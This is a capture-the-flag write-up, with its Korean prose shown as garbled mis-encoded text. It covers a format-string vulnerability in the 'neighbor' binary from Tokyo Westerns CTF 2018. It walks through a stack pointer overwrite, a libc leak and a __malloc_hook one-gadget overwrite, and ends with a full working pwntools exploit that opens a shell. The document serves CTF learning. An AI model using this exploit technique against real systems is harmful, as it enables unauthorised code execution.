Tokyo Westerns CTF 2018 - Neighbor C

0x00. Introduction

[*] '/home/user/neighbor'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

Environment

์ œ๊ณต๋œ libc๊ฐ€ ์˜ˆ์ „ ๋ฒ„์ „์ด๋ผ ์ตœ์‹  loader๋กœ ๋กœ๋“œ๊ฐ€ ์•ˆ๋œ๋‹ค. ๊ทธ๋ ‡๋‹ค๊ณ  ๋กœ์ปฌ libc๋ฅผ ์ด์šฉํ•˜๋ฉด ํ’€์ด๊ฐ€ ์–ด๋ ค์›Œ์ง€๊ธฐ ๋•Œ๋ฌธ์— docker๋กœ ์„œ๋ฒ„๋ฅผ ๊ตฌ์„ฑํ•ด์„œ ํ™˜๊ฒฝ์„ ๊ตฌ์ถ•ํ•˜๊ธฐ๋กœ ํ–ˆ๋‹ค.

โžœ  sudo docker build -t 'neighbor' .
โžœ  sudo docker run -d -p 9999:9999 --name neighbor neighbor
โžœ  sudo docker top neighbor
UID                 PID                 PPID                C                   STIME               TTY                 TIME                CMD
user                1001143             1001123             0                   Jul13               ?                   00:00:00            /bin/sh -c socat TCP-LISTEN:9999,reuseaddr,fork EXEC:"/home/user/neighbor",pty,raw,echo=0
user                1001169             1001143             0                   Jul13               ?                   00:00:00            socat TCP-LISTEN:9999,reuseaddr,fork EXEC:/home/user/neighbor,pty,raw,echo=0

์ด๋ ‡๊ฒŒ ์„œ๋ฒ„๋ฅผ ๊ตฌ์„ฑํ•˜๋ฉด 9999 ํฌํŠธ๋ฅผ ๋ฆฌ์Šค๋‹ํ•˜๋‹ค๊ฐ€ ์—ฐ๊ฒฐ์ด ๋˜๋ฉด EXEC:/home/user/neighbor๋ฅผ ํ†ตํ•ด neighbor ํ”„๋กœ์„ธ์Šค๋ฅผ ์‹คํ–‰ํ•œ๋‹ค.

๊ทธ๋ž˜์„œ ๊ธฐ์กด์˜ exploit.py ํฌ๋งท์œผ๋กœ๋Š” ์—ฐ๊ฒฐ์ด ๋ถˆ๊ฐ€๋Šฅํ•˜๊ณ , ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์ˆ˜์ •ํ•ด์ค˜์•ผ ์ œ๋Œ€๋กœ ๋””๋ฒ„๊น…์„ ํ•  ์ˆ˜ ์žˆ๋‹ค.

def main():
    if(len(sys.argv) > 1):
        s = remote("0.0.0.0", int(sys.argv[1]))
        pid = os.popen(f"sudo docker top {BINARY} -eo pid,comm | grep {BINARY} | awk '{print $1}'").read()
        if DEBUG:
            gdb.attach(int(pid), gs, exe=BINARY, sysroot="./")
    else:
        s = process(BINARY, env={"LD_PRELOAD" : LIBRARY})
        if DEBUG:
            gdb.attach(s, gs)
    elf = ELF(BINARY)
    lib = ELF(LIBRARY)

๊ทธ๋ฆฌ๊ณ  ๋””๋ฒ„๊ฑฐ๊ฐ€ libc๋ฅผ ์ œ๋Œ€๋กœ ์ฝ์–ด์„œ ์‹ฌ๋ณผ์„ ๋กœ๋“œํ•˜๊ธฐ ์œ„ํ•ด์„œ sysroot ์ธ์ž๋ฅผ ์คฌ๋Š”๋ฐ, ๊ทธ๋Ÿฌ๋ฉด ํ˜„์žฌ ์œ„์น˜๋ฅผ root ๋””๋ ‰ํ† ๋ฆฌ๋กœ ์ธ์‹ํ•˜๊ณ  libc ํŒŒ์ผ์„ ์ฐพ๊ฒŒ ๋œ๋‹ค. ๋”ฐ๋ผ์„œ vmmap์„ ํ†ตํ•ด libc ๊ฒฝ๋กœ๋ฅผ ํ™•์ธํ•˜๊ณ  ๊ทธ์— ๋งž์ถฐ์„œ ๋””๋ ‰ํ† ๋ฆฌ๋ฅผ ์ƒ์„ฑํ•œ ํ›„ libc ํŒŒ์ผ์„ ๋ณต์‚ฌํ•ด์ฃผ๋ฉด ๋œ๋‹ค.

โžœ  ls ./lib/x86_64-linux-gnu
libc-2.23.so

0x01. Vulnerability

void __fastcall __noreturn sub_8D0(FILE *stderr)
{
  while ( fgets(format, 256, stdin) )
  {
    fprintf(stderr, format);
    sleep(1u);
  }
  exit(1);
}

void __noreturn sub_937()
{
  puts("Hello neighbor!");
  puts("Please tell me about yourself. I must talk about you to our mayor.");
  sub_8D0(stderr);
}

void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  sleep(0);
  sub_937();
}

๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ๋ณด๋ฉด sub_8D0()์—์„œ fprintf์— format์„ ์ง์ ‘ ์ž…๋ ฅํ•  ์ˆ˜ ์žˆ์–ด FSB๊ฐ€ ๋ฐœ์ƒํ•œ๋‹ค.

์ €๋ฒˆ ๋ฌธ์ œ์—์„œ๋„ ๊ฒฝํ—˜ํ–ˆ์ง€๋งŒโ€ฆ ์ทจ์•ฝ์ ์ด ๊ฐ„๋‹จํ•˜๋ฉด exploit์ด ๋ณต์žกํ•ด์ง€๋Š”๋ฐ ์ด ๋ฌธ์ œ๋„ ๊ทธ๋Ÿฐ ๊ฒƒ ๊ฐ™๋‹ค.

0x02. Exploit

Stack Control

์ทจ์•ฝ์ ์„ ํ™œ์šฉํ•˜๊ธฐ์— ์•ž์„œ ๋ฌธ์ œ๋Š” format์ด ์ „์—ญ๋ณ€์ˆ˜์ด๊ธฐ ๋•Œ๋ฌธ์— stack์— ๊ฐ’์„ ์ž…๋ ฅํ•  ์ˆ˜๊ฐ€ ์—†๋‹ค. ๊ทธ๋Ÿฌ๋ฉด stack์— ํฌ์ธํ„ฐ๋ฅผ ๋งŒ๋“ค ์ˆ˜ ์—†์–ด์„œ FSB์˜ ํ•ต์‹ฌ์ธ %n์„ ํ†ตํ•ด ํฌ์ธํ„ฐ๊ฐ€ ๊ฐ€๋ฆฌํ‚ค๋Š” ๊ณณ์— ๊ฐ’์„ ์“ฐ๋Š” ๊ฒƒ์ด ๋ถˆ๊ฐ€๋Šฅํ•˜๋‹ค. ๋”ฐ๋ผ์„œ stack์— ์žˆ๋Š” ๊ฐ’์œผ๋กœ ์ ์ ˆํ•˜๊ฒŒ ์›ํ•˜๋Š” ๊ณณ์— ๊ฐ’์„ ์“ธ ์ˆ˜ ์žˆ๋Š” primitive๋ฅผ ํš๋“ํ•ด์•ผ ํ•œ๋‹ค.

gefโžค  x/10gx $rsp
0x7fffffffebb0: 0x0000555555400a88      0x00007ffff7dd2540
0x7fffffffebc0: 0x0000000000000000      0x00007ffff7dd2540
0x7fffffffebd0: 0x00007fffffffebe0      0x0000555555400962
0x7fffffffebe0: 0x00007fffffffebf0      0x00005555554009d7
0x7fffffffebf0: 0x00005555554009f0      0x00007ffff7a2d840

๊ทธ๋ž˜์„œ fprintf()๋ฅผ ํ•  ๋•Œ์˜ stack์„ ์ถœ๋ ฅํ•ด๋ณด์•˜๋Š”๋ฐ, push rbp๋ฅผ ํ•˜๋‹ค๊ฐ€ ์ƒ๊ธด stack ์˜์—ญ์˜ ์ฃผ์†Œ๊ฐ€ ๋‘ ๊ฐœ ์žˆ์—ˆ๋‹ค. ์—ฌ๊ธฐ์—์„œ ์™œ ๊ตณ์ด main() -> sub_937() -> sub_8D0()์œผ๋กœ ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ• ๊นŒ์— ๋Œ€ํ•œ ์˜๋ฌธ์ด ํ’€๋ ธ๋Š”๋ฐ, Double Staged FSB๊ฐ€ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•˜๊ธฐ ์œ„ํ•จ์ด์—ˆ๋‹ค.

0x7fffffffebd0($rsp+0x20)์ด 0x7fffffffebe0($rsp+0x30)์„ ๊ฐ€๋ฆฌํ‚ค๊ณ  ์žˆ์–ด์„œ FSB๋ฅผ ์ด์šฉํ•˜๋ฉด 0x7fffffffebe0์— ์›ํ•˜๋Š” ์ฃผ์†Œ๋ฅผ ๊ตฌ์„ฑํ•  ์ˆ˜ ์žˆ๋‹ค.

0x7fffffffebd0์ด 9๋ฒˆ์งธ format string์ด๊ธฐ ๋•Œ๋ฌธ์—, ๋‹ค์Œ๊ณผ ๊ฐ™์ด payload๋ฅผ ์ž‘์„ฑํ•˜๋ฉด 0x7fffffffebe0์— ๋‹ด๊ฒจ์žˆ๋Š” ๊ฐ’์„ ์ปจํŠธ๋กคํ•  ์ˆ˜ ์žˆ๋‹ค.

  • %1c%9$hhn : 0x00007fffffffebf0 -> 0x00007fffffffeb01
  • %258c%9$hn : 0x00007fffffffebf0 -> 0x00007fffffff0102
  • %16909060c%9$n : 0x00007fffffffebf0 -> 0x00007fff01020304

๋””๋ฒ„๊น… ํ™˜๊ฒฝ์—์„œ๋Š” ํŽธ์˜๋ฅผ ์œ„ํ•ด ASLR์„ ๊บผ๋†“์•˜๊ธฐ ๋•Œ๋ฌธ์— $rsp์˜ ์ฒซ ๋ฐ”์ดํŠธ๊ฐ€ 0xb0๋กœ ๊ณ ์ •๋˜์–ด์žˆ์ง€๋งŒ, ์‹ค์ œ ์„œ๋ฒ„ ํ™˜๊ฒฝ์—์„œ๋Š” ASLR์ด ์ผœ์ ธ์žˆ์„ ๊ฒƒ์ด๋ฏ€๋กœ ์ด ๋•Œ 1/16 ํ™•๋ฅ ๋กœ exploit ์„ฑ๊ณต๋ฅ ์ด ๋–จ์–ด์ง€๊ฒŒ ๋œ๋‹ค.

์•„๋ฌดํŠผ ๋กœ์ปฌ ํ™˜๊ฒฝ์—์„œ๋Š” ์—๋Ÿฌ ๋ฉ”์„ธ์ง€๋„ ๋ณผ ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์— fprintf(stderr, format) ๊ฒฐ๊ณผ๋ฅผ ๋ณผ ์ˆ˜ ์žˆ์—ˆ๋Š”๋ฐ, ์„œ๋ฒ„ ํ™˜๊ฒฝ์—์„œ๋Š” ์—๋Ÿฌ ๋ฉ”์„ธ์ง€๋ฅผ ๋ณผ ์ˆ˜๊ฐ€ ์—†๋‹ค. ๋”ฐ๋ผ์„œ ์œ„ stack control์„ ํ†ตํ•ด ๋จผ์ € ํ•ด์•ผํ•  ๊ฒƒ์€ stderr๋ฅผ stdout์œผ๋กœ ๋งŒ๋“ค์–ด์„œ ๋‹ค์Œ ๋‹จ๊ณ„๋กœ ๋„˜์–ด๊ฐ€๋Š” ๊ฒƒ์ด๋ผ๊ณ  ํŒ๋‹จํ–ˆ๋‹ค.

Libc Leak

# fprintf(stderr, format);
gefโžค  x/5i 0x55555540090e
   0x55555540090e:      mov    rax,QWORD PTR [rbp-0x8]
   0x555555400912:      lea    rsi,[rip+0x200747]        # 0x555555601060
   0x555555400919:      mov    rdi,rax
   0x55555540091c:      mov    eax,0x0
   0x555555400921:      call   0x555555400778 <fprintf@plt>

fprintf์˜ stderr๋Š” libc์˜ Data์˜์—ญ์— ์žˆ๋Š” stderr๊ฐ€ ์•„๋‹Œ, sub_8D0()๋ฅผ ํ˜ธ์ถœํ•  ๋•Œ ์ธ์ž๋กœ ์ „๋‹ฌํ•œ stack์— ์žˆ๋Š” stderr์ด๋‹ค. ๊ทธ๋ฆฌ๊ณ  ์ด stderr๋Š” $rbp-0x8์œผ๋กœ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š”๋ฐ, ์ด ์ฃผ์†Œ๋Š” 0x7fffffffebc8($rsp+0x18)์ด๋‹ค.

๋‹คํ–‰ํžˆ ์ปจํŠธ๋กคํ•  ์ˆ˜ ์žˆ๋Š” 0x7fffffffebe0์— ์ด๋ฏธ stack ์˜์—ญ์˜ ์ฃผ์†Œ๊ฐ€ ๋‹ด๊ฒจ์žˆ์œผ๋ฏ€๋กœ, ์ฒซ ๋ฐ”์ดํŠธ๋งŒ 0xc8์œผ๋กœ ๋ฎ์œผ๋ฉด 0x7fffffffebe0์ด 0x7fffffffebc8์„ ๊ฐ€๋ฆฌํ‚ค๊ฒŒ ๋œ๋‹ค. ๊ทธ๋Ÿฌ๋ฉด 0x7fffffffebe0์ด 11๋ฒˆ์งธ format string์ด๊ธฐ ๋•Œ๋ฌธ์— stderr๋ฅผ stdout์œผ๋กœ ๋ฐ”๊ฟ€ ์ˆ˜ ์žˆ๋‹ค.

gefโžค  x/gx 0x555555601020
0x555555601020 <stdout>:        0x00007ffff7dd2620
gefโžค  x/gx 0x555555601040
0x555555601040 <stderr>:        0x00007ffff7dd2540

ํ•˜์ง€๋งŒ ์—ฌ๊ธฐ์—์„œ๋„ stderr์™€ stdout์˜ ๋‘ ๋ฒˆ์งธ ๋ฐ”์ดํŠธ๊ฐ€ ๋‹ค๋ฅด๊ธฐ ๋•Œ๋ฌธ์—, 0x7fffffffebc8์˜ ์ฒซ ๋‘ ๋ฐ”์ดํŠธ๋ฅผ 0x2620์œผ๋กœ ๋ฎ์–ด์“ฐ๊ฒŒ ๋˜๋ฉด ASLR์— ์˜ํ•ด ๋˜๋‹ค์‹œ exploit ํ™•๋ฅ ์ด 1/16์ด ๋œ๋‹ค.

์ตœ์ข…์ ์œผ๋กœ๋Š” 1/256 ํ™•๋ฅ ๋กœ exploit์ด ๊ฐ€๋Šฅํ•˜๋‹ค.

'0x7ffff7dd3790 0x7ffff7b04360 0x7ffff7dd3780 0x7ffff7ff2700 0x555555400a88 0x7ffff7dd2540 (nil) 0x7ffff7dd2620 0x7fffffffebe0 0x555555400962 0x7fffffffebc8 0x5555554009d7 0x5555554009f0 0x7ffff7a2d840 \n'
gefโžค  x/10gx $rsp
0x7fffffffebb0: 0x0000555555400a88      0x00007ffff7dd2540
0x7fffffffebc0: 0x0000000000000000      0x00007ffff7dd2620
0x7fffffffebd0: 0x00007fffffffebe0      0x0000555555400962
0x7fffffffebe0: 0x00007fffffffebc8      0x00005555554009d7
0x7fffffffebf0: 0x00005555554009f0      0x00007ffff7a2d840

์ด๋ ‡๊ฒŒ ์–ป์–ด์ง„ stdout์œผ๋กœ format string์„ ์ถœ๋ ฅํ•ด๋ณธ ๊ฒƒ๊ณผ ์‹ค์ œ stack์˜ ๋‚ด์šฉ์„ ๋น„๊ตํ•˜๋ฉด ์œ„์™€ ๊ฐ™๋‹ค.

์ž์„ธํžˆ ๋ณด๋ฉด 5๋ฒˆ์งธ format string๋ถ€ํ„ฐ stack์˜ ๋‚ด์šฉ๊ณผ ์ผ์น˜ํ•˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋Š”๋ฐ, stack ์•ž์˜ format string์€ ๋‹ค์Œ calling convention์— ๋”ฐ๋ผ ๋ ˆ์ง€์Šคํ„ฐ์˜ ๊ฐ’๋“ค์„ ์ถœ๋ ฅํ•ด์ค€๋‹ค๊ณ  ํ•œ๋‹ค.

  • rsi, rdx, rcx, r8, r9

ํ•˜์ง€๋งŒ ์œ„ ๊ฒฝ์šฐ๋Š” rdx๋ถ€ํ„ฐ ์ถœ๋ ฅ๋˜๋Š” ๊ฒƒ์„ ๋ณผ ์ˆ˜ ์žˆ๋Š”๋ฐ, fprintf์— ๋‘ ๋ฒˆ์งธ ์ธ์ž๊ฐ€ ๋“ค์–ด๊ฐ€์„œ ๊ทธ๋Ÿฐ๊ฒŒ ์•„๋‹๊นŒ ์ƒ๊ฐํ•œ๋‹ค.

์•„๋ฌดํŠผ ๋‹ค์‹œ ๋Œ์•„์™€์„œ stack์˜ 10๋ฒˆ์งธ ๊ฐ’์— libc์˜ ์ฃผ์†Œ๊ฐ€ ๋“ค์–ด๊ฐ€์žˆ์œผ๋ฏ€๋กœ offset์„ ๊ณ„์‚ฐํ•ด์„œ ๋นผ์ฃผ๋ฉด libc์˜ base ์ฃผ์†Œ๋ฅผ ํš๋“ํ•  ์ˆ˜ ์žˆ๋‹ค.

Triggering malloc

์ด์ œ ๊ฐ€์žฅ ์ค‘์š”ํ•œ ์–ด๋””์— ๋ฌด์—‡์„ ์“ธ ๊ฒƒ์ธ์ง€์— ๋Œ€ํ•œ ๋ถ€๋ถ„์ธ๋ฐ, ์˜ˆ์ „ libc๋ผ์„œ malloc_hook์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋‹ค. ๋”ฐ๋ผ์„œ ์–ด๋””์—๋Š” ๊ฒฐ์ •๋˜์—ˆ๊ณ , one shot ๊ฐ€์ ฏ์„ ํ™•์ธํ•ด๋ณด์•˜๋‹ค.

โžœ  one_gadget libc-2.23.so
0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL || {[rsp+0x30], [rsp+0x38], [rsp+0x40], [rsp+0x48], ...} is a valid argv

0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL || {[rsp+0x50], [rsp+0x58], [rsp+0x60], [rsp+0x68], ...} is a valid argv

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv

๋‹คํ–‰ํžˆ ์กฐ๊ฑด์ด ๋นก์„ธ์ง€ ์•Š์•„์„œ ํ™•์ธํ•ด๋ดค๋Š”๋ฐ, 0xf1247์— ์œ„์น˜ํ•œ ๊ฐ€์ ฏ์ด ํ™œ์šฉํ•  ์ˆ˜ ์žˆ์–ด ๋ณด์˜€๋‹ค. ๋”ฐ๋ผ์„œ ๋ฌด์—‡์„๋„ ์ž์—ฐ์Šค๋Ÿฝ๊ฒŒ ํ•ด๊ฒฐ๋˜์—ˆ๋Š”๋ฐ, ๋ง‰์ƒ ์ƒ๊ฐํ•ด๋ณด๋‹ˆ malloc์„ ์–ด๋””์„ ๊ฐ€ ํ˜ธ์ถœํ•ด์•ผ malloc_hook์ด ํ˜ธ์ถœ๋  ๊ฒƒ์ธ๋ฐโ€ฆ

while๋ฌธ ํ๋ฆ„์ƒ ํ˜ธ์ถœ๋˜๋Š” ํ•จ์ˆ˜๋Š” fgets์™€ fprintf๋ฐ–์— ์—†๋‹ค.

ํ˜น์‹œ ํ•จ์ˆ˜ ๋‚ด๋ถ€์ ์œผ๋กœ malloc์ด ํ˜ธ์ถœ๋˜๋Š”์ง€ ํ™•์ธํ•ด๋ณด๋ ค๊ณ  ํ–ˆ๋Š”๋ฐ, fgets๋Š” ๊ฐ„๋‹จํ•ด์„œ malloc์ด ์—†๋‹ค๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์—ˆ๋‹ค. ๋ฐ˜๋ฉด fprintf๋Š” vfprintf์„ ํ˜ธ์ถœํ•˜๋Š”๋ฐ ์ด ์•ˆ์— ๋„ˆ๋ฌด ๋งŽ์€ ์ฝ”๋“œ๊ฐ€ ์žˆ์–ด์„œ ํ™•์ธ์ด ์–ด๋ ค์› ๋‹ค.

๊ทธ๋ž˜์„œ ๊ตฌ๊ธ€๋ง์„ ํ•ด๋ณด๋‹ˆ ์ •๋ณด๊ฐ€ ์กฐ๊ธˆ ์žˆ์—ˆ๋‹ค.

ํ™•์ธํ•ด๋ณด๋‹ˆ format string์„ ํ†ตํ•ด ๋งŒ๋“ค์–ด์ง„ output string์ด ์‚ฌ์ด์ฆˆ๊ฐ€ 0x10001 ์ด์ƒ์ด๋ฉด malloc์„ ํŠธ๋ฆฌ๊ฑฐํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒƒ ๊ฐ™๋‹ค.

๊ทธ๋ž˜์„œ ๊ฑฐ๊พธ๋กœ malloc์„ ํ˜ธ์ถœํ•˜๋Š” ํ•จ์ˆ˜, j_malloc์„ ํ˜ธ์ถœํ•˜๋Š” ํ•จ์ˆ˜๋ฅผ xrefํ•ด๋ดค๋Š”๋ฐ vfprintf๊ฐ€ ์žˆ๋Š” ๊ฒƒ ๊นŒ์ง€๋Š” ํ™•์ธํ–ˆ๋‹ค.

Arbitrary Write

gefโžค  x/10gx $rsp
0x7fffffffebb0: 0x0000555555400a88      0x00007ffff7dd2540
0x7fffffffebc0: 0x0000000000000000      0x00007ffff7dd2620
0x7fffffffebd0: 0x00007fffffffebe0      0x0000555555400962
0x7fffffffebe0: 0x00007fffffffebc8      0x00005555554009d7
0x7fffffffebf0: 0x00005555554009f0      0x00007ffff7a2d840

์ž, ๋‹ค์‹œ stack์„ ๋ณด๋ฉด 0x7fffffffebc0($rsp+0x10)์ด NULL๋กœ ๋น„์–ด์žˆ๋‹ค.

์ด ๋น„์–ด์žˆ๋Š” ๊ณต๊ฐ„(free_space)์— Double Staged FSB๋ฅผ ์ด์šฉํ•ด 1์ฐจ์ ์œผ๋กœ ์šฐ๋ฆฌ๊ฐ€ ์›ํ•˜๋Š” ์ฃผ์†Œ(addr)์„ ๋งŒ๋“ค์–ด์ฃผ๊ณ , ๋งŒ๋“ค์–ด์ง„ ์ฃผ์†Œ๋ฅผ ํฌ์ธํ„ฐ๋กœ ์‚ฌ์šฉํ•ด ๋‹ค์‹œ Double Staged FSB๋ฅผ ์ด์šฉํ•˜์—ฌ ์›ํ•˜๋Š” ๊ฐ’(value)์„ ์“ธ ๊ฒƒ์ด๋‹ค.

๋‹น์—ฐํžˆ addr์€ malloc_hook์ด ๋  ๊ฒƒ์ด๊ณ , value๋Š” ๋กœ๋”ฉ๋œ ์œ„์น˜์˜ one shot ๊ฐ€์ ฏ์ด ๋  ๊ฒƒ์ด๋‹ค. ์ด ๊ณผ์ •์„ python์œผ๋กœ ๋งŒ๋“ค๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๋งŒ๋“ค ์ˆ˜ ์žˆ๋‹ค.

def arbitrary_write(s, addr, value):
    write_primitive(s, addr, value & 0xffff)
    write_primitive(s, addr + 2, (value & 0xffff0000) >> 16)
    write_primitive(s, addr + 4, (value & 0xffff00000000) >> 32)
    write_primitive(s, addr + 6, (value & 0xffff000000000000) >> 48)

def write_primitive(s, addr, value):
    free_space = rsp + 0x10
    stack_control(s, free_space, addr & 0xffff)
    stack_control(s, free_space + 2, (addr & 0xffff0000) >> 16)
    stack_control(s, free_space + 4, (addr & 0xffff00000000) >> 32)
    stack_control(s, free_space + 6, (addr & 0xffff000000000000) >> 48)

    payload = f"%{value}c".encode()
    payload += b"%7$hn"
    s.sendline(payload)

def stack_control(s, stack, value):
    payload = f"%{stack}c".encode()
    payload += b"%9$hhn"
    s.sendline(payload)

    payload = f"%{value}c".encode()
    payload += b"%11$hn"
    s.sendline(payload)

์‚ฌ์‹ค ๋ถˆํ•„์š”ํ•œ payload๊ฐ€ ๋งŽ์ด ๋ณด๋‚ด์ ธ์„œ ํšจ์œจ์ ์ด์ง„ ์•Š์ง€๋งŒ, ํ•˜๋‹ค๋ณด๋‹ˆ ์š•์‹ฌ์ด ๋‚˜์„œ ๋ผ์ธ ํ•˜๋‚˜๋กœ arbitrary write๋ฅผ ํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋งŒ๋“ค์—ˆ๋‹ค.

arbitrary_write(s, malloc_hook, one_gadget)

0x03. Payload

from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
import sys, os

DEBUG = True
BINARY = "neighbor"
LIBRARY = "libc-2.23.so"

code_base = 0x0000555555400000
rsp = 0xb0
malloc_hook_offset = 0x3c4b10
one_gadget_offset = 0xf1247
bp = {
    'call_8d0' : code_base + 0x95D,
    'fgets' : code_base + 0x8FA,
    'fprintf' : code_base + 0x921,
}

gs = f'''
b *{bp['call_8d0']}
b *{bp['fprintf']}
'''
context.terminal = ['tmux', 'splitw', '-hf']

def arbitrary_write(s, addr, value):
    write_primitive(s, addr, value & 0xffff)
    write_primitive(s, addr + 2, (value & 0xffff0000) >> 16)
    write_primitive(s, addr + 4, (value & 0xffff00000000) >> 32)
    write_primitive(s, addr + 6, (value & 0xffff000000000000) >> 48)

def write_primitive(s, addr, value):
    free_space = rsp + 0x10
    stack_control(s, free_space, addr & 0xffff)
    stack_control(s, free_space + 2, (addr & 0xffff0000) >> 16)
    stack_control(s, free_space + 4, (addr & 0xffff00000000) >> 32)
    stack_control(s, free_space + 6, (addr & 0xffff000000000000) >> 48)

    payload = f"%{value}c".encode()
    payload += b"%7$hn"
    s.sendline(payload)
    s.recv(0xffff)
    sleep(1)

def stack_control(s, stack, value, stderr=False):
    if value == 0:
        return
    log.info(f"writing {hex(value)} to {hex(stack)}")
    payload = f"%{stack}c".encode()
    payload += b"%9$hhn"
    s.sendline(payload)
    if stderr == False:
        s.recv(0xffff)
    sleep(1)

    payload = f"%{value}c".encode()
    payload += b"%11$hn"
    s.sendline(payload)
    if stderr == False:
        s.recv(0xffff)
    sleep(1)

def main():
    if(len(sys.argv) > 1):
        s = remote("0.0.0.0", int(sys.argv[1]))
        pid = os.popen("sudo docker top {BINARY} -eo pid,comm | grep {BINARY} | awk '{print $1}'").read()
        if DEBUG:
            gdb.attach(int(pid), gs, exe=BINARY, sysroot="./")
    else:
        s = process(BINARY, env={"LD_PRELOAD" : LIBRARY})
        if DEBUG:
            gdb.attach(s, gs)
    elf = ELF(BINARY)
    lib = ELF(LIBRARY)

    s.recv()

    # overwrite stderr in stack to stdout
    stack_control(s, rsp + 0x18, 0x2620, stderr=True)

    # leak libc base
    payload = b"%14$p"
    s.sendline(payload)
    libc = int(s.recv(), 16) - 0x20840
    sleep(1)
    malloc_hook = libc + malloc_hook_offset
    one_gadget = libc + one_gadget_offset
    log.info(f"libc : {hex(libc)}")
    log.info(f"malloc_hook : {hex(malloc_hook)}")
    log.info(f"one_gadget : {hex(one_gadget)}")

    # write one_gadget address to malloc_hook
    arbitrary_write(s, malloc_hook, one_gadget)

    # trigger malloc -> malloc_hook
    s.sendline(f"%{0x21000}c".encode())
    s.recv(0x21000)
    sleep(1)
    s.interactive()

if __name__=='__main__':
    main()